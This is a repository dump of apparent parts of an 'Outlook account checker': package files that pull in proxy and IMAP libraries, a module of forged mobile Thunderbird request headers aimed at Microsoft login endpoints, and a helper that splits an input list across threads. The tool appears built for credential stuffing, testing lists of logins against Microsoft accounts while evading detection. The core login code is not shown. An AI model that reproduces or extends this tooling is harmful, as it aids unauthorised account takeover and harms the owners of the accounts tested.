1501 | "integrity": "sha512-HehCEsotFqbPW9sJ8WVYB6UbmIMv7kUUORIF2Nncq4VQvBfNBLibW9YZR5dlYCSUhwcD628pRllm7n+E+YTzJw==",
1502 | "license": "MIT",
1503 | "dependencies": {
1504 | "agent-base": "^7.1.2",
1505 | "debug": "^4.3.4",
1506 | "socks": "^2.8.3"
1507 | },
1508 | "engines": {
1509 | "node": ">= 14"
1510 | }
1511 | },
1512 | "node_modules/sonic-boom": {
1513 | "version": "4.2.0",
1514 | "resolved": "https://registry.npmjs.org/sonic-boom/-/sonic-boom-4.2.0.tgz",
1515 | "integrity": "sha512-INb7TM37/mAcsGmc9hyyI6+QR3rR1zVRu36B0NeGXKnOOLiZOfER5SA+N7X7k3yUYRzLWafduTDvJAfDswwEww==",
1516 | "license": "MIT",
1517 | "dependencies": {
1518 | "atomic-sleep": "^1.0.0"
1519 | }
1520 | },
1521 | "node_modules/split2": {
1522 | "version": "4.2.0",
1523 | "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz",
1524 | "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==",
1525 | "license": "ISC",
1526 | "engines": {
1527 | "node": ">= 10.x"
1528 | }
1529 | },
1530 | "node_modules/sprintf-js": {
1531 | "version": "1.1.3",
1532 | "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz",
1533 | "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==",
1534 | "license": "BSD-3-Clause"
1535 | },
1536 | "node_modules/sshpk": {
1537 | "version": "1.18.0",
1538 | "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.18.0.tgz",
1539 | "integrity": "sha512-2p2KJZTSqQ/I3+HX42EpYOa2l3f8Erv8MWKsy2I9uf4wA7yFIkXRffYdsx86y6z4vHtV8u7g+pPlr8/4ouAxsQ==",
1540 | "license": "MIT",
1541 | "dependencies": {
1542 | "asn1": "~0.2.3",
1543 | "assert-plus": "^1.0.0",
1544 | "bcrypt-pbkdf": "^1.0.0",
1545 | "dashdash": "^1.12.0",
1546 | "ecc-jsbn": "~0.1.1",
1547 | "getpass": "^0.1.1",
1548 | "jsbn": "~0.1.0",
1549 | "safer-buffer": "^2.0.2",
1550 | "tweetnacl": "~0.14.0"
1551 | },
1552 | "bin": {
1553 | "sshpk-conv": "bin/sshpk-conv",
1554 | "sshpk-sign": "bin/sshpk-sign",
1555 | "sshpk-verify": "bin/sshpk-verify"
1556 | },
1557 | "engines": {
1558 | "node": ">=0.10.0"
1559 | }
1560 | },
1561 | "node_modules/sshpk/node_modules/jsbn": {
1562 | "version": "0.1.1",
1563 | "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
1564 | "integrity": "sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==",
1565 | "license": "MIT"
1566 | },
1567 | "node_modules/string_decoder": {
1568 | "version": "0.10.31",
1569 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
1570 | "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==",
1571 | "license": "MIT"
1572 | },
1573 | "node_modules/thread-stream": {
1574 | "version": "3.1.0",
1575 | "resolved": "https://registry.npmjs.org/thread-stream/-/thread-stream-3.1.0.tgz",
1576 | "integrity": "sha512-OqyPZ9u96VohAyMfJykzmivOrY2wfMSf3C5TtFJVgN+Hm6aj+voFhlK+kZEIv2FBh1X6Xp3DlnCOfEQ3B2J86A==",
1577 | "license": "MIT",
1578 | "dependencies": {
1579 | "real-require": "^0.2.0"
1580 | }
1581 | },
1582 | "node_modules/tldts": {
1583 | "version": "6.1.71",
1584 | "resolved": "https://registry.npmjs.org/tldts/-/tldts-6.1.71.tgz",
1585 | "integrity": "sha512-LQIHmHnuzfZgZWAf2HzL83TIIrD8NhhI0DVxqo9/FdOd4ilec+NTNZOlDZf7EwrTNoutccbsHjvWHYXLAtvxjw==",
1586 | "license": "MIT",
1587 | "dependencies": {
1588 | "tldts-core": "^6.1.71"
1589 | },
1590 | "bin": {
1591 | "tldts": "bin/cli.js"
1592 | }
1593 | },
1594 | "node_modules/tldts-core": {
1595 | "version": "6.1.71",
1596 | "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-6.1.71.tgz",
1597 | "integrity": "sha512-LRbChn2YRpic1KxY+ldL1pGXN/oVvKfCVufwfVzEQdFYNo39uF7AJa/WXdo+gYO7PTvdfkCPCed6Hkvz/kR7jg==",
1598 | "license": "MIT"
1599 | },
1600 | "node_modules/tough-cookie": {
1601 | "version": "5.1.0",
1602 | "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-5.1.0.tgz",
1603 | "integrity": "sha512-rvZUv+7MoBYTiDmFPBrhL7Ujx9Sk+q9wwm22x8c8T5IJaR+Wsyc7TNxbVxo84kZoRJZZMazowFLqpankBEQrGg==",
1604 | "license": "BSD-3-Clause",
1605 | "dependencies": {
1606 | "tldts": "^6.1.32"
1607 | },
1608 | "engines": {
1609 | "node": ">=16"
1610 | }
1611 | },
1612 | "node_modules/tslib": {
1613 | "version": "2.8.1",
1614 | "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
1615 | "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
1616 | "license": "0BSD"
1617 | },
1618 | "node_modules/tunnel": {
1619 | "version": "0.0.6",
1620 | "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz",
1621 | "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==",
1622 | "license": "MIT",
1623 | "engines": {
1624 | "node": ">=0.6.11 <=0.7.0 || >=0.7.3"
1625 | }
1626 | },
1627 | "node_modules/tunnel-agent": {
1628 | "version": "0.6.0",
1629 | "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
1630 | "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==",
1631 | "license": "Apache-2.0",
1632 | "dependencies": {
1633 | "safe-buffer": "^5.0.1"
1634 | },
1635 | "engines": {
1636 | "node": "*"
1637 | }
1638 | },
1639 | "node_modules/tweetnacl": {
1640 | "version": "0.14.5",
1641 | "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
1642 | "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==",
1643 | "license": "Unlicense"
1644 | },
1645 | "node_modules/undici-types": {
1646 | "version": "6.20.0",
1647 | "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.20.0.tgz",
1648 | "integrity": "sha512-Ny6QZ2Nju20vw1SRHe3d9jVu6gJ+4e3+MMpqu7pqE5HT6WsTSlce++GQmK5UXS8mzV8DSYHrQH+Xrf2jVcuKNg=="
1649 | },
1650 | "node_modules/uri-js": {
1651 | "version": "4.4.1",
1652 | "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
1653 | "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
1654 | "license": "BSD-2-Clause",
1655 | "dependencies": {
1656 | "punycode": "^2.1.0"
1657 | }
1658 | },
1659 | "node_modules/utf7": {
1660 | "version": "1.0.2",
1661 | "resolved": "https://registry.npmjs.org/utf7/-/utf7-1.0.2.tgz",
1662 | "integrity": "sha512-qQrPtYLLLl12NF4DrM9CvfkxkYI97xOb5dsnGZHE3teFr0tWiEZ9UdgMPczv24vl708cYMpe6mGXGHrotIp3Bw==",
1663 | "dependencies": {
1664 | "semver": "~5.3.0"
1665 | }
1666 | },
1667 | "node_modules/uuid": {
1668 | "version": "3.4.0",
1669 | "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz",
1670 | "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==",
1671 | "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.",
1672 | "license": "MIT",
1673 | "bin": {
1674 | "uuid": "bin/uuid"
1675 | }
1676 | },
1677 | "node_modules/verror": {
1678 | "version": "1.10.0",
1679 | "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz",
1680 | "integrity": "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw==",
1681 | "engines": [
1682 | "node >=0.6.0"
1683 | ],
1684 | "license": "MIT",
1685 | "dependencies": {
1686 | "assert-plus": "^1.0.0",
1687 | "core-util-is": "1.0.2",
1688 | "extsprintf": "^1.2.0"
1689 | }
1690 | },
1691 | "node_modules/verror/node_modules/core-util-is": {
1692 | "version": "1.0.2",
1693 | "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
1694 | "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==",
1695 | "license": "MIT"
1696 | },
1697 | "node_modules/wrappy": {
1698 | "version": "1.0.2",
1699 | "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
1700 | "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="
1701 | }
1702 | }
1703 | }
1704 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "outlook-checker",
3 | "version": "2.0.0",
4 | "description": "Microsoft Outlook Account Checker Tool",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "node index.js"
8 | },
9 | "author": "Etherial",
10 | "license": "GPL-3.0-or-later",
11 | "dependencies": {
12 | "async-mutex": "^0.5.0",
13 | "date-fns": "^4.1.0",
14 | "got": "^11.8.6",
15 | "https-proxy-agent": "^7.0.6",
16 | "imap": "^0.8.19",
17 | "imapflow": "^1.0.177",
18 | "request": "^2.88.2",
19 | "socks-proxy-agent": "^8.0.5",
20 | "tough-cookie": "^5.1.0",
21 | "tunnel": "^0.0.6"
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/utils/headers.js:
--------------------------------------------------------------------------------
1 | function header_1() {
2 | return{
3 | "host": "login.microsoftonline.com",
4 | "connection": "keep-alive",
5 | "sec-ch-ua": "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"",
6 | "sec-ch-ua-mobile": "?1",
7 | "sec-ch-ua-platform": "\"Android\"",
8 | "upgrade-insecure-requests": "1",
9 | "user-agent": "Mozilla/5.0 (Linux; Android 15; SM-S928B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36",
10 | "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
11 | "sec-fetch-site": "none",
12 | "sec-fetch-mode": "navigate",
13 | "sec-fetch-dest": "document",
14 | "referer": "android-app://net.thunderbird.android/",
15 | "accept-encoding": "gzip, deflate, br",
16 | "accept-language": "en-US,en;q=0.5",
17 | }
18 | }
19 |
20 | function header_2() {
21 | return{
22 | "host": "login.live.com",
23 | "connection": "keep-alive",
24 | "upgrade-insecure-requests": "1",
25 | "user-agent": "Mozilla/5.0 (Linux; Android 15; SM-S928B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36",
26 | "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
27 | "sec-fetch-site": "none",
28 | "sec-fetch-mode": "navigate",
29 | "sec-fetch-dest": "document",
30 | "sec-ch-ua": "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"",
31 | "sec-ch-ua-mobile": "?1",
32 | "sec-ch-ua-platform": "\"Android\"",
33 | "sec-ch-ua-platform-version": "\"12.0.0\"",
34 | "referer": "android-app://net.thunderbird.android/",
35 | "accept-encoding": "gzip, deflate, br",
36 | }
37 | }
38 |
39 | function header_3(referer) {
40 | return{
41 | "host": "login.live.com",
42 | "connection": "keep-alive",
43 | "cache-control": "max-age=0",
44 | "sec-ch-ua": "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"",
45 | "sec-ch-ua-mobile": "?1",
46 | "sec-ch-ua-platform": "\"Android\"",
47 | "sec-ch-ua-platform-version": "\"12.0.0\"",
48 | "upgrade-insecure-requests": "1",
49 | "origin": "https://login.live.com",
50 | "content-type": "application/x-www-form-urlencoded",
51 | "user-agent": "Mozilla/5.0 (Linux; Android 15; SM-S928B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36",
52 | "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
53 | "sec-fetch-site": "same-origin",
54 | "sec-fetch-mode": "navigate",
55 | "sec-fetch-user": "?1",
56 | "sec-fetch-dest": "document",
57 | "referer": referer,
58 | "accept-encoding": "gzip, deflate, br",
59 | "accept-language": "en-US,en;q=0.5",
60 | }
61 | }
62 |
63 | function header_4() {
64 | return{
65 | "host": "account.live.com",
66 | "connection": "keep-alive",
67 | "cache-control": "max-age=0",
68 | "sec-ch-ua": "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"",
69 | "sec-ch-ua-mobile": "?1",
70 | "sec-ch-ua-platform": "\"Android\"",
71 | "upgrade-insecure-requests": "1",
72 | "origin": "https://login.live.com",
73 | "content-type": "application/x-www-form-urlencoded",
74 | "user-agent": "Mozilla/5.0 (Linux; Android 15; SM-S928B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36",
75 | "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
76 | "sec-fetch-site": "same-site",
77 | "sec-fetch-mode": "navigate",
78 | "sec-fetch-dest": "document",
79 | "referer": "https://login.live.com/",
80 | "accept-encoding": "gzip, deflate, br",
81 | "accept-language": "en-US,en;q=0.5",
82 | }
83 | }
84 |
85 | function header_5(referer) {
86 | return{
87 | "host": "account.live.com",
88 | "connection": "keep-alive",
89 | "cache-control": "max-age=0",
90 | "sec-ch-ua": "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"",
91 | "sec-ch-ua-mobile": "?1",
92 | "sec-ch-ua-platform": "\"Android\"",
93 | "upgrade-insecure-requests": "1",
94 | "origin": "https://account.live.com",
95 | "content-type": "application/x-www-form-urlencoded",
96 | "user-agent": "Mozilla/5.0 (Linux; Android 15; SM-S928B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36",
97 | "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
98 | "sec-fetch-site": "same-origin",
99 | "sec-fetch-mode": "navigate",
100 | "sec-fetch-user": "?1",
101 | "sec-fetch-dest": "document",
102 | "referer": referer,
103 | "accept-encoding": "gzip, deflate, br",
104 | "accept-language": "en-US,en;q=0.5",
105 | }
106 | }
107 |
108 | function header_6() {
109 | return{
110 | "host": "login.live.com",
111 | "connection": "keep-alive",
112 | "cache-control": "max-age=0",
113 | "upgrade-insecure-requests": "1",
114 | "user-agent": "Mozilla/5.0 (Linux; Android 15; SM-S928B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36",
115 | "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
116 | "sec-fetch-site": "same-site",
117 | "sec-fetch-mode": "navigate",
118 | "sec-fetch-user": "?1",
119 | "sec-fetch-dest": "document",
120 | "sec-ch-ua": "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"",
121 | "sec-ch-ua-mobile": "?1",
122 | "sec-ch-ua-platform": "\"Android\"",
123 | "sec-ch-ua-platform-version": "\"12.0.0\"",
124 | "referer": "https://account.live.com/",
125 | "accept-encoding": "gzip, deflate, br",
126 | "accept-language": "en-US,en;q=0.5",
127 | }
128 | }
129 |
130 | function header_7() {
131 | return{
132 | "content-type": "application/x-www-form-urlencoded",
133 | "accept": "application/json",
134 | "user-agent": "Mozilla/5.0 (Linux; Android 15; SM-S928B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36",
135 | "host": "login.microsoftonline.com",
136 | "connection": "Keep-Alive",
137 | "accept-encoding": "gzip"
138 | }
139 | }
140 |
141 |
142 | module.exports = {
143 | header_1,
144 | header_2,
145 | header_3,
146 | header_4,
147 | header_5,
148 | header_6,
149 | header_7
150 | }
--------------------------------------------------------------------------------
/utils/separator.js:
--------------------------------------------------------------------------------
1 | const fs = require('fs');
2 | const readline = require('readline');
3 |
4 | function read_lines(file) {
5 | return new Promise((resolve, reject) => {
6 | const lines = [];
7 | const readStream = fs.createReadStream(file);
8 | const rl = readline.createInterface({
9 | input: readStream,
10 | crlfDelay: Infinity
11 | });
12 |
13 | rl.on('line', (line) => {
14 | lines.push(line);
15 | });
16 |
17 | rl.on('close', () => {
18 | resolve(lines);
19 | });
20 |
21 | rl.on('error', (err) => {
22 | reject(err);
23 | });
24 | });
25 | }
26 |
27 | async function get_sections(file, threads) {
28 | const lines = await read_lines(file);
29 |
30 | let numParts = parseInt(threads, 10);
31 |
32 | if (numParts > lines.length) {
33 | numParts = lines.length;
34 | }
35 |
36 | const partSize = Math.floor(lines.length / numParts);
37 | const remainder = lines.length % numParts;
38 |
39 | const parts = [];
40 | let startIndex = 0;
41 |
42 | for (let i = 0; i < numParts; i++) {
43 | const currentPartSize = partSize + (i < remainder ? 1 : 0);
44 | parts.push(lines.slice(startIndex, startIndex + currentPartSize));
45 | startIndex += currentPartSize;
46 | }
47 |
48 | const sections = {};
49 | for (let i = 0; i < parts.length; i++) {
50 | const sectionId = `section_${i + 1}`;
51 | sections[sectionId] = parts[i];
52 | }
53 |
54 | return sections;
55 | }
56 |
57 |
58 | module.exports = {
59 | get_sections
60 | }
--------------------------------------------------------------------------------